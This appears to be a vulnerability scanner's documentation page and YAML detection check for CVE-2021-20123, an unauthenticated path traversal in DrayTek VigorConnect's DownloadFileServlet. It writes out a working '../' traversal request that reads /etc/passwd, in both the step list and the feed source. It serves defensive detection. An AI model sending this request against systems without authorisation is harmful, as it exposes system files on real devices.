VigorConnect — 1 vulnerability check

noctis ships 1 vulnerability check for VigorConnect, covering 1 CVE; each one has to observe the bug on the live service before it reports a finding.

← All products · Feeds on GitHub

DrayTek VigorConnect Unauthenticated LFI via DownloadFileServlet

CVECVE-2021-20123
Severityhigh · CVSS 7.5
Categoryfile-read — File read
Serviceshttp, https
Detectionset_var, http_request, match, script · highest QoD 75
Feedtests/vulnerabilities/vigorconnect/CVE-2021-20123.yaml

Requests /etc/passwd through the VigorConnect DownloadFileServlet show_file_name parameter (../ traversal, no authentication) and reports when its content comes back with HTTP 200 while the same request for an absent file (a random missing directory before the file name) comes back without it.

How noctis detects it

  1. HTTP(S) request GET /
  2. HTTP(S) request GET /ACSServer/DownloadFileServlet?show_file_name=../../../../../../etc/passwd&type=uploa…
  3. Checks lfi_resp.body for root:[^:\r\n]*:0:[01]:
  4. HTTP(S) request GET /ACSServer/DownloadFileServlet?show_file_name=../../../../../../noctis-absent-{{oob_t…
  5. Parses / computes the next value with a Rhai script
  6. Checks lfi_hit for ^yes$ → finding QoD 75: GET /ACSServer/DownloadFileServlet?show_file_name=../../../../../../etc/passwd returned /etc/passwd content (root:...:0:0:, HTTP 200) witho…
Feed source — tests/vulnerabilities/vigorconnect/CVE-2021-20123.yaml
uid: c5e1d615-3c61-4c77-a7e5-8cb61cf76772
name: "DrayTek VigorConnect Unauthenticated LFI via DownloadFileServlet"
description: "Requests /etc/passwd through the VigorConnect DownloadFileServlet show_file_name parameter (../ traversal, no authentication) and reports when its content comes back with HTTP 200 while the same request for an absent file (a random missing directory before the file name) comes back without it."
cves: [CVE-2021-20123]
cvss: 7.5
severity: high
category: file-read
confidence_base: 0.25
tags: [lfi, path-traversal, draytek, vigorconnect, kev]
services: [http, https]
author: noctis
version: "1.1.0"

steps:
  - id: init
    action: set_var
    var_name: vc_ok
    var_value: false

  - id: init-lfi-resp
    action: set_var
    var_name: lfi_resp
    var_value: {status: 0, body: ""}

  - id: init-ctrl-resp
    action: set_var
    var_name: ctrl_resp
    var_value: {status: 0, body: ""}

  - id: init-lfi-hit
    action: set_var
    var_name: lfi_hit
    var_value: ""

  - id: init-ctrl-clean
    action: set_var
    var_name: ctrl_clean
    var_value: false

  - id: fingerprint
    action: http_request
    method: GET
    path: "/"
    port: "{{port}}"
    tls_insecure: true
    store_as: fp_resp

  - id: set-vc-ok
    action: set_var
    var_name: vc_ok
    var_value: true
    condition: "fp_resp.status == 200"

  # `../` in the query string is sent untouched by http_request.
  - id: lfi-probe
    action: http_request
    method: GET
    path: "/ACSServer/DownloadFileServlet?show_file_name=../../../../../../etc/passwd&type=uploadfile&path=anything"
    port: "{{port}}"
    tls_insecure: true
    timeout_secs: 10
    store_as: lfi_resp
    condition: "vc_ok == true"

  # No finding here: the reply is the passwd file. Raised below once the
  # absent-file control is clean.
  - id: lfi-match
    action: match
    source: lfi_resp.body
    pattern: "root:[^:\\r\\n]*:0:[01]:"
    condition: "vc_ok == true && lfi_resp.status == 200"
    on_match:
      set_vars:
        lfi_hit: "yes"

  # ── Control: same request, absent file ──
  # A random missing directory right before the file (still ending in
  # etc/passwd), so a server that keys a fake file on that name answers it too.
  - id: control
    action: http_request
    method: GET
    path: "/ACSServer/DownloadFileServlet?show_file_name=../../../../../../noctis-absent-{{oob_token}}/etc/passwd&type=uploadfile&path=anything"
    port: "{{port}}"
    condition: 'lfi_hit != ""'
    tls_insecure: true
    timeout_secs: 10
    store_as: ctrl_resp

  # Fail closed: the control must have been answered, without passwd content.
  - id: control-verdict
    action: script
    condition: 'lfi_hit != ""'
    code: |
      ctrl_resp.status != 0 && !ereg("root:[^:\\r\\n]*:0:[01]:", ctrl_resp.body)
    store_as: ctrl_clean

  - id: report-lfi
    action: match
    source: lfi_hit
    pattern: "^yes$"
    condition: "ctrl_clean == true"
    on_match:
      finding:
        confidence_delta: 0.45
        qod: 75
        evidence: "GET /ACSServer/DownloadFileServlet?show_file_name=../../../../../../etc/passwd returned /etc/passwd content (root:...:0:0:, HTTP 200) without authentication; the same request for an absent file did not (CVE-2021-20123)"
      stop: true

View these feeds on GitHub